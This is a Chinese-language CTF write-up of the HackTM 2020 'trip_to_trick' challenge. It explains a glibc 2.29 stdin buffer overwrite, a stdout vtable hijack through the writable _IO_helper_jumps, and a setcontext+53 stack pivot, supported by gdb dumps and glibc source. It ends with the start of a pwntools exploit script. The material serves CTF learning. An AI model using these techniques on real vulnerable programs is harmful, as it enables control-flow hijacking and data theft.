前言

前几天打了HackTM CTF,遇到了这样一道在glibc 2.29下的文件利用的新型题目,虽然是用了更新的glibc,但是glibc2.29的一个新特性使得解决方法比低版本的glibc文件利用更简单了一些,这里同大家分享一下。

HackTM CTF 2020->trip_to_trick

程序分析

文件为64位程序,保护全开,逻辑很简单,开头的gift输出了system函数的libc地址,在给定libc的条件下我们可以根据其在libc中的偏移计算得到libc基地址。之后有两次地址任意写的机会,最后关闭了stdoutstdin以及stderr

在程序的开头有一个nohack函数,可以看到出题人调用mprotect把从&stdout[10]._IO_write_end开始的0x700字节设置为了只读,避免我们修改其中的值,这块区域我们动态调试看下,发现其内容是很多形如_IO*_jumpsvtable,也就是让这些vtable只读不可写。

int nohack()
{
  if ( ((_WORD)stdout + 0x8A0) & 0xFFF )
  {
    puts("mprotect error");
    exit(1);
  }
  return mprotect(&stdout[10]._IO_write_end, 0x700uLL, 1);// 可读
}
gdb-peda$ p & _IO_2_1_stdout_
$6 = (struct _IO_FILE_plus *) 0x7ffff7f6c760 <_IO_2_1_stdout_>
gdb-peda$ x/8gx 0x7ffff7f6c760+0x8a0
0x7ffff7f6d000 <_IO_wfile_jumps_mmap+160>:      0x00007ffff7e19940      0x0000000000000000
0x7ffff7f6d010: 0x0000000000000000      0x0000000000000000
0x7ffff7f6d020 <_IO_wfile_jumps>:       0x0000000000000000      0x0000000000000000
0x7ffff7f6d030 <_IO_wfile_jumps+16>:    0x00007ffff7e15ff0      0x00007ffff7e10140
gdb-peda$ vmmap 0x7ffff7f6d000
Start              End                Perm      Name
0x00007ffff7f6d000 0x00007ffff7f6e000 r--p      /usr/lib/x86_64-linux-gnu/libc-2.29.so

此外程序开了沙箱,其规则如下,给open/read/write/mmap/mprotect/brk/rt_sigreturn/exitexit_group这些系统调用开了白名单,其余一律禁掉。

wz@wz-virtual-machine:~/Desktop/CTF/BitsCTF/trip_to_trick1$ seccomp-tools dump ./trip_to_trick 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0e 0xc000003e  if (A != ARCH_X86_64) goto 0016
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0b 0xffffffff  if (A != 0xffffffff) goto 0016
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000003  if (A == close) goto 0015
 0009: 0x15 0x05 0x00 0x00000009  if (A == mmap) goto 0015
 0010: 0x15 0x04 0x00 0x0000000a  if (A == mprotect) goto 0015
 0011: 0x15 0x03 0x00 0x0000000c  if (A == brk) goto 0015
 0012: 0x15 0x02 0x00 0x0000000f  if (A == rt_sigreturn) goto 0015
 0013: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0015
 0014: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x06 0x00 0x00 0x00000000  return KILL
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v4; // [rsp+18h] [rbp-18h]
  __int64 v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v5 = 0LL;
  sandbox();
  nohack();
  main_init();
  printf("gift : %p\n", &system);
  printf("1 : ");
  __isoc99_scanf("%llx %llx", &v4, &v5);
  *v4 = v5;                                     // 一次任意地址写
  printf("2 : ", &v4);                          // can we leak this time?
  __isoc99_scanf("%llx %llx", &v4, &v5);
  *v4 = v5;                                     // retn_addr = sth to go on rop?
  fclose(stdout);
  fclose(stdin);
  fclose(stderr);
  return 0;
}

漏洞利用

在之前的glibc pwn中我们大都做过无输出的glibc泄露型题目,即通过修改_IO_write_base输出_IO_write_base_IO_write_ptr的所有内容,最开始我的思路是一次任意写将_IO_write_ptr改成environ,从而泄露出stack相关地址,下一次的任意地址写向返回地址写入gadget,这种思路在没开沙箱以及没关闭输入输出流的情况下或许可行,但是沙箱使得我们无法getshell,而关闭输入输出也使得我们无法控制进行更多输入来构造rop chain。这种情况下其实就暗示了我们需要从文件利用入手,且关注点应该放在fclose上。

gdb-peda$ p _IO_2_1_stdout_
$3 = {
  file = {
    _flags = 0xfbad2887, 
    _IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", 
    _IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", 
    _IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", 
    _IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", 
    _IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", 
    _IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", 
    _IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", 
    _IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7f6d560 <_IO_file_jumps>
}

那么我们先分析一下fclose的源码,其核心函数是位于/libio/iofclose.c_IO_new_fclose函数,其大致流程是:首先检查文件结构体指针,之后使用_IO_un_link将文件结构体从_IO_list_all链表取下,_IO_file_close_it会最终调用系统调用关闭文件描述符,之后调用_IO_FINISH(fp),如果并非stdin/stdout/stderr最后调用free(fp)释放结构体指针。关于fclose等函数的详细分析可以参见raycp

int
_IO_new_fclose (FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif

  /* First unlink the stream.  */
  if (fp->_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);
  if (fp->_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
  if (fp->_mode > 0)
    {
      /* This stream has a wide orientation.  This means we have to free
     the conversion functions.  */
      struct _IO_codecvt *cc = fp->_codecvt;

      __libc_lock_lock (__gconv_lock);
      __gconv_release_step (cc->__cd_in.__cd.__steps);
      __gconv_release_step (cc->__cd_out.__cd.__steps);
      __libc_lock_unlock (__gconv_lock);
    }
  else
    {
      if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
    }
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_flags = 0;
      free(fp);
    }

  return status;
}

看一下这里的_IO_FINISH,会发现是一个宏,其实际上是vtable的函数指针

/* The 'finish' function does any final cleaning up of an _IO_FILE object.
   It does not delete (free) it, but does everything else to finalize it.
   It matches the streambuf::~streambuf virtual destructor.  */
typedef void (*_IO_finish_t) (FILE *, int); /* finalize */
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

核心的实现为_IO_new_file_finish函数,里面调用了_IO_default_finish (fp, 0);,再往后我们不需要再跟了,因为这里我们发现函数的调用方式及参数是固定的,如果我们能控制vtable及参数即可劫持执行流。

void
_IO_new_file_finish (FILE *fp, int dummy)
{
  if (_IO_file_is_open (fp))
    {
      _IO_do_flush (fp);
      if (!(fp->_flags & _IO_DELETE_DONT_CLOSE))
    _IO_SYSCLOSE (fp);
    }
  _IO_default_finish (fp, 0);
}

那么下面就有了俩问题,一是如何控制输入可以覆盖到文件结构体的vtable?二是自glibc 2.24后加入了vtable_check机制,要如何伪造vtable以及改写vtable呢?

我们先来看第一个问题。

控制输入

这个题目和WCTF2016的一道wannaheap非常相似,原题现也已放在pwnable.tw,可以参见FlappyPig的分析,其大致原理和刚才所说的stdout输入相似,即当我们能够控制_IO_2_1_stdin__IO_buf_base以及_IO_buf_end字段,我们的输入将落在_IO_buf_base_IO_buf_end之间的区域。因此我们用第一次的任意地址写将_IO_buf_end改到value,之后就可以控制_IO_buf_basevalue之间的所有值,同理如果我们修改_IO_buf_base的值为value,我们也能控制val_IO_buf_end的这块空间。

gdb-peda$ p _IO_2_1_stdin_
$9 = {
  file = {
    _flags = 0xfbad208b, 
    _IO_read_ptr = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", 
    _IO_read_end = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", 
    _IO_read_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", 
    _IO_write_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", 
    _IO_write_ptr = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", 
    _IO_write_end = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", 
    _IO_buf_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", 
    _IO_buf_end = 0x7ffff7f6ba84 <_IO_2_1_stdin_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0x0, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7ffff7f6e590 <_IO_stdfile_0_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7f6bae0 <_IO_wide_data_0>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7f6d560 <_IO_file_jumps>
}

伪造|修改 vtable

在glibc 2.23的house-of-orange利用中我们已经有了一套成熟的流程来伪造vtable到堆上并在堆上布置函数指针的方式来劫持执行流,但是在glibc 2.24之后由于有vtable_check的存在,我们的vtable必须要处于__start___libc_IO_vtables__start___libc_IO_vtables之间,因此我们伪造的vtable必须是其原有的vtable,这一点在house of orange in glibc 2.24解释的很清楚。此外有了vtable,最大的难题是按照我们以往经验,在glibc 2.23以及glibc 2.27其都是不可写的。我们可以找俩vtable分别验证一下,显示确实只读。不过到这里回想下既然都可读,为什么出题人多此一举要再把一些vtable改成只读呢,这里其实已经暗示了,vtable在glibc 2.29是可写的。这里我们换一个不在这块被修改了权限区域的vtable,查看其权限,确实可写。

/* Check if unknown vtable pointers are permitted; otherwise,
   terminate the process.  */
void _IO_vtable_check (void) attribute_hidden;

/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}
gdb-peda$ p & _IO_file_jumps
$2 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps>
gdb-peda$ vmmap 0x7ffff7dd06e0
Start              End                Perm  Name
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p  /lib/x86_64-linux-gnu/libc-2.23.so
pwndbg> p & _IO_helper_jumps
$1 = (const struct _IO_jump_t *) 0x7ffff7b86820 <_IO_helper_jumps>
pwndbg> vmmap 0x7ffff7b86820
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7b86000     0x7ffff7b8a000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
pwndbg>
gdb-peda$ p & _IO_helper_jumps
$1 = (const struct _IO_jump_t *) 0x7ffff7f6ca20 <_IO_helper_jumps>
gdb-peda$ vmmap 0x7ffff7f6ca20
Start              End                Perm      Name
0x00007ffff7f6b000 0x00007ffff7f6d000 rw-p      /usr/lib/x86_64-linux-gnu/libc-2.29.so

gdb-peda$ p  _IO_helper_jumps
$13 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x7ffff7e0d600 <__GI__IO_wdefault_finish>, 
  __overflow = 0x7ffff7e01250 <_IO_helper_overflow>, 
  __underflow = 0x7ffff7e18140 <_IO_default_underflow>, 
  __uflow = 0x7ffff7e18150 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7e0d430 <__GI__IO_wdefault_pbackfail>, 
  __xsputn = 0x7ffff7e0d760 <__GI__IO_wdefault_xsputn>, 
  __xsgetn = 0x7ffff7e0de60 <__GI__IO_wdefault_xsgetn>, 
  __seekoff = 0x7ffff7e18ae0 <_IO_default_seekoff>, 
  __seekpos = 0x7ffff7e18800 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7e186d0 <_IO_default_setbuf>, 
  __sync = 0x7ffff7e18a60 <_IO_default_sync>, 
  __doallocate = 0x7ffff7e0da60 <__GI__IO_wdefault_doallocate>, 
  __read = 0x7ffff7e19910 <_IO_default_read>, 
  __write = 0x7ffff7e19920 <_IO_default_write>, 
  __seek = 0x7ffff7e198f0 <_IO_default_seek>, 
  __close = 0x7ffff7e18a60 <_IO_default_sync>, 
  __stat = 0x7ffff7e19900 <_IO_default_stat>, 
  __showmanyc = 0x0, 
  __imbue = 0x0
}

最终利用思路

这里我们发现自己的思路是可行的,还有一个关键问题是如何寻找合适的vtable,这里我的方法就比较无脑了,首先拿vscode全局搜索_IO_jump_t,找到一个这种类型的变量记录下名称到gdb中查看其权限,最后选择_IO_helper_jumps这个vtable

所以最后我们的利用链是:

  1. 拿一次任意地址写将_IO_buf_end改为_IO_helper_jumps_addr+0x200,调试可以发现stdout`_IO_helper_jumps_addr前面,这样保证都可以覆盖到,至于为什么目标是stdout是因为我们fclose的第一个对象是stdout
  2. 构造payload,覆写_IO_2_1_stdout_vtable_IO_helper_jumps,覆写_IO_helper_jumps__GI__IO_wdefault_finishsetcontext+53,只要我们可以控制rdx+*的区域就可以控制其参数
  3. 根据setcontext的参数对应,这里rcx是ret之后执行的rip,我们设置其为一个leav;ret的gadget,在rbp设置我们rop chain的地址-8,栈迁移之后调用open/read/write系统调用,至于rop chain,我们把它布置到main_arena前一大段零字节区域。
gdb-peda$ p & setcontext
$14 = (<text variable, no debug info> *) 0x7ffff7ddce00 <setcontext>
gdb-peda$ x/32i 0x7ffff7ddce00+53
   0x7ffff7ddce35 <setcontext+53>:      mov    rsp,QWORD PTR [rdx+0xa0]
   0x7ffff7ddce3c <setcontext+60>:      mov    rbx,QWORD PTR [rdx+0x80]
   0x7ffff7ddce43 <setcontext+67>:      mov    rbp,QWORD PTR [rdx+0x78]
   0x7ffff7ddce47 <setcontext+71>:      mov    r12,QWORD PTR [rdx+0x48]
   0x7ffff7ddce4b <setcontext+75>:      mov    r13,QWORD PTR [rdx+0x50]
   0x7ffff7ddce4f <setcontext+79>:      mov    r14,QWORD PTR [rdx+0x58]
   0x7ffff7ddce53 <setcontext+83>:      mov    r15,QWORD PTR [rdx+0x60]
   0x7ffff7ddce57 <setcontext+87>:      mov    rcx,QWORD PTR [rdx+0xa8]
   0x7ffff7ddce5e <setcontext+94>:      push   rcx
   0x7ffff7ddce5f <setcontext+95>:      mov    rsi,QWORD PTR [rdx+0x70]
   0x7ffff7ddce63 <setcontext+99>:      mov    rdi,QWORD PTR [rdx+0x68]
   0x7ffff7ddce67 <setcontext+103>:     mov    rcx,QWORD PTR [rdx+0x98]
   0x7ffff7ddce6e <setcontext+110>:     mov    r8,QWORD PTR [rdx+0x28]
   0x7ffff7ddce72 <setcontext+114>:     mov    r9,QWORD PTR [rdx+0x30]
   0x7ffff7ddce76 <setcontext+118>:     mov    rdx,QWORD PTR [rdx+0x88]
   0x7ffff7ddce7d <setcontext+125>:     xor    eax,eax
   0x7ffff7ddce7f <setcontext+127>:     ret

调试

上述利用思路3里有一个核心的部分是控制rdx,这里有一个简单的方法来迅速验证某些猜想,即在gdb中使用强制修改内存的方式模拟溢出过程,比如这里我们希望查看调用setcontext+53时候的情况,使用set {long long} 0x7ffff7f6c838 = 0x7ffff7f6ca20修改stdout的vtable为_IO_helper_jumps,使用set {long long} 0x7ffff7f6ca30 = 0x7ffff7ddce35修改_IO_helper_jumps->__finishsetcontext+53

gdb-peda$ p & _IO_2_1_stdout_                                                                                                        
$1 = (struct _IO_FILE_plus *) 0x7ffff7f6c760 <_IO_2_1_stdout_>                                                                       
gdb-peda$ p _IO_2_1_stdout_                                                                                                          
$2 = {                                                                                                                               
  file = {                                                                                                                           
    _flags = 0xfbad2887,                                                                                                             
    _IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                          
    _IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                          
    _IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                         
    _IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                        
    _IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                         
    _IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                         
    _IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                          
    _IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "",                                                                           
    _IO_save_base = 0x0,                                                                                                             
    _IO_backup_base = 0x0,                                                                                                           
    _IO_save_end = 0x0,                                                                                                              
    _markers = 0x0,                                                                                                                  
    _chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>,                                                                                        
    _fileno = 0x1,                                                                                                                   
    _flags2 = 0x0,                                                                                                                   
    _old_offset = 0xffffffffffffffff,                                                                                                
    _cur_column = 0x0,                                                                                                               
    _vtable_offset = 0x0,                                                                                                            
    _shortbuf = "",                                                                                                                  
    _lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>,                                                                                     
    _offset = 0xffffffffffffffff,                                                                                                    
    _codecvt = 0x0,                                                                                                                  
    _wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>,                                                                                   
    _freeres_list = 0x0,                                                                                                             
    _freeres_buf = 0x0,                                                                                                              
    __pad5 = 0x0,                                                                                                                    
    _mode = 0xffffffff,                                                                                                              
    _unused2 = '\000' <repeats 19 times>                                                                                             
  },                                                                                                                                 
  vtable = 0x7ffff7f6d560 <_IO_file_jumps>                                                                                           
}      
gdb-peda$ telescope 0x7ffff7f6c760 40
0000| 0x7ffff7f6c760 --> 0xfbad2887
0008| 0x7ffff7f6c768 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0016| 0x7ffff7f6c770 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0024| 0x7ffff7f6c778 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0032| 0x7ffff7f6c780 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0040| 0x7ffff7f6c788 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0048| 0x7ffff7f6c790 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0056| 0x7ffff7f6c798 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000
0064| 0x7ffff7f6c7a0 --> 0x7ffff7f6c7e4 --> 0xf7f6e58000000000
0072| 0x7ffff7f6c7a8 --> 0x0
0080| 0x7ffff7f6c7b0 --> 0x0
0088| 0x7ffff7f6c7b8 --> 0x0
0096| 0x7ffff7f6c7c0 --> 0x0
0104| 0x7ffff7f6c7c8 --> 0x7ffff7f6ba00 --> 0xfbad208b
0112| 0x7ffff7f6c7d0 --> 0x1
0120| 0x7ffff7f6c7d8 --> 0xffffffffffffffff
0128| 0x7ffff7f6c7e0 --> 0x0
0136| 0x7ffff7f6c7e8 --> 0x7ffff7f6e580 --> 0x0
0144| 0x7ffff7f6c7f0 --> 0xffffffffffffffff
0152| 0x7ffff7f6c7f8 --> 0x0
0160| 0x7ffff7f6c800 --> 0x7ffff7f6b8c0 --> 0x0
0168| 0x7ffff7f6c808 --> 0x0
0176| 0x7ffff7f6c810 --> 0x0
0184| 0x7ffff7f6c818 --> 0x0
0192| 0x7ffff7f6c820 --> 0xffffffff

--More--(25/40)0200| 0x7ffff7f6c828 --> 0x0
0208| 0x7ffff7f6c830 --> 0x0
0216| 0x7ffff7f6c838 --> 0x7ffff7f6d560 --> 0x0

gdb-peda$ p & _IO_helper_jumps
$3 = (const struct _IO_jump_t *) 0x7ffff7f6ca20 <_IO_helper_jumps>

gdb-peda$ telescope 0x7ffff7f6ca20
0000| 0x7ffff7f6ca20 --> 0x0 
0008| 0x7ffff7f6ca28 --> 0x0 
0016| 0x7ffff7f6ca30 --> 0x7ffff7e0d600 (<__GI__IO_wdefault_finish>:    push   rbx)
0024| 0x7ffff7f6ca38 --> 0x7ffff7e01250 (<_IO_helper_overflow>: push   r13)
0032| 0x7ffff7f6ca40 --> 0x7ffff7e18140 (<_IO_default_underflow>:       mov    eax,0xffffffff)
0040| 0x7ffff7f6ca48 --> 0x7ffff7e18150 (<__GI__IO_default_uflow>:      push   rbp)
0048| 0x7ffff7f6ca50 --> 0x7ffff7e0d430 (<__GI__IO_wdefault_pbackfail>: push   r15)
0056| 0x7ffff7f6ca58 --> 0x7ffff7e0d760 (<__GI__IO_wdefault_xsputn>:    push   r15)

gdb-peda$ p & setcontext
$5 = (<text variable, no debug info> *) 0x7ffff7ddce00 <setcontext>
gdb-peda$ x/8i 0x7ffff7ddce00+53
   0x7ffff7ddce35 <setcontext+53>:      mov    rsp,QWORD PTR [rdx+0xa0]
   0x7ffff7ddce3c <setcontext+60>:      mov    rbx,QWORD PTR [rdx+0x80]
   0x7ffff7ddce43 <setcontext+67>:      mov    rbp,QWORD PTR [rdx+0x78]
   0x7ffff7ddce47 <setcontext+71>:      mov    r12,QWORD PTR [rdx+0x48]
   0x7ffff7ddce4b <setcontext+75>:      mov    r13,QWORD PTR [rdx+0x50]
   0x7ffff7ddce4f <setcontext+79>:      mov    r14,QWORD PTR [rdx+0x58]
   0x7ffff7ddce53 <setcontext+83>:      mov    r15,QWORD PTR [rdx+0x60]
   0x7ffff7ddce57 <setcontext+87>:      mov    rcx,QWORD PTR [rdx+0xa8]

效果如下,可以看到调用setcontext+53的时候其参数寄存器rdx的内容为_IO_helper_jumps,后面的部分均可控,至此,我们完成了漏洞利用的全过程。

gdb-peda$ set {long long} 0x7ffff7f6c838 = 0x7ffff7f6ca20                                                                            
gdb-peda$ set {long long} 0x7ffff7f6ca30 = 0x7ffff7ddce35
gdb-peda$ p _IO_2_1_stdout_                                                                                                          
$2 = {                                                                                                                               
  file = {                                                                                                                           
    _flags = 0xfbad2887,                                                                                                             
    _IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                          
    _IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                          
    _IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                         
    _IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                        
    _IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                         
    _IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                         
    _IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "",                                                                          
    _IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "",                                                                           
    _IO_save_base = 0x0,                                                                                                             
    _IO_backup_base = 0x0,                                                                                                           
    _IO_save_end = 0x0,                                                                                                              
    _markers = 0x0,                                                                                                                  
    _chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>,                                                                                        
    _fileno = 0x1,
    _flags2 = 0x0,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = "",
    _lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0xffffffff,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7f6ca20 <_IO_helper_jumps>
}
gdb-peda$ p _IO_helper_jumps
$3 = {
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x7ffff7ddce35 <setcontext+53>,
  __overflow = 0x7ffff7e01250 <_IO_helper_overflow>,
  __underflow = 0x7ffff7e18140 <_IO_default_underflow>,
  __uflow = 0x7ffff7e18150 <__GI__IO_default_uflow>,
  __pbackfail = 0x7ffff7e0d430 <__GI__IO_wdefault_pbackfail>,
  __xsputn = 0x7ffff7e0d760 <__GI__IO_wdefault_xsputn>,
  __xsgetn = 0x7ffff7e0de60 <__GI__IO_wdefault_xsgetn>,
  __seekoff = 0x7ffff7e18ae0 <_IO_default_seekoff>,
  __seekpos = 0x7ffff7e18800 <_IO_default_seekpos>,
  __setbuf = 0x7ffff7e186d0 <_IO_default_setbuf>,
  __sync = 0x7ffff7e18a60 <_IO_default_sync>,
  __doallocate = 0x7ffff7e0da60 <__GI__IO_wdefault_doallocate>,
  __read = 0x7ffff7e19910 <_IO_default_read>,
  __write = 0x7ffff7e19920 <_IO_default_write>,
  __seek = 0x7ffff7e198f0 <_IO_default_seek>,
  __close = 0x7ffff7e18a60 <_IO_default_sync>,
  __stat = 0x7ffff7e19900 <_IO_default_stat>,
  __showmanyc = 0x0,
  __imbue = 0x0
}
gdb-peda$ p $rdx
$4 = 0x7ffff7f6c960
gdb-peda$ x/8gx 0x7ffff7f6c960
0x7ffff7f6c960 <_IO_helper_jumps>:      0x0000000000000000      0x0000000000000000
0x7ffff7f6c970 <_IO_helper_jumps+16>:   0x00007ffff7e18a70      0x00007ffff7dfb530
0x7ffff7f6c980 <_IO_helper_jumps+32>:   0x00007ffff7e18140      0x00007ffff7e18150
0x7ffff7f6c990 <_IO_helper_jumps+48>:   0x00007ffff7e197b0      0x00007ffff7e181b0

exp.py

代码写的很无脑,关掉地址随机化查看内存内容之后加上偏移,保证其余部分不变,有余力的朋友可以dump下内存自动化地构造payload。

#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./trip_to_trick')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./trip_to_trick')

else:
    libc = ELF('./x64_libc.so.6')
    p = remote('f.buuoj.cn',20173)

def exp():
    #leak libc
    #raw_input()
    p.recvuntil("gift : 0x")
    libc_base = int(p.recvline().strip('\n'),16) - libc.sym['system']
    log.success("libc base => " + hex(libc_base))
    libc.address = libc_base
    stdin = libc.sym['_IO_2_1_stdin_']
    stdout = libc.sym['_IO_2_1_stdout_']
    stderr = libc.sym['_IO_2_1_stderr_']
    environ = libc.sym['environ']
    IO_helper_jumps = libc_base + (0x7ffff7f6ca20 - 0x7ffff7d87000)
    static_libc = 0x7ffff7d87000

    #gdb.attach(p,'b* 0x0000555555554000+0x1527')
    p.recvuntil("1 : ")
    p.sendline(hex(stdin+0x40))#_IO_buf_end
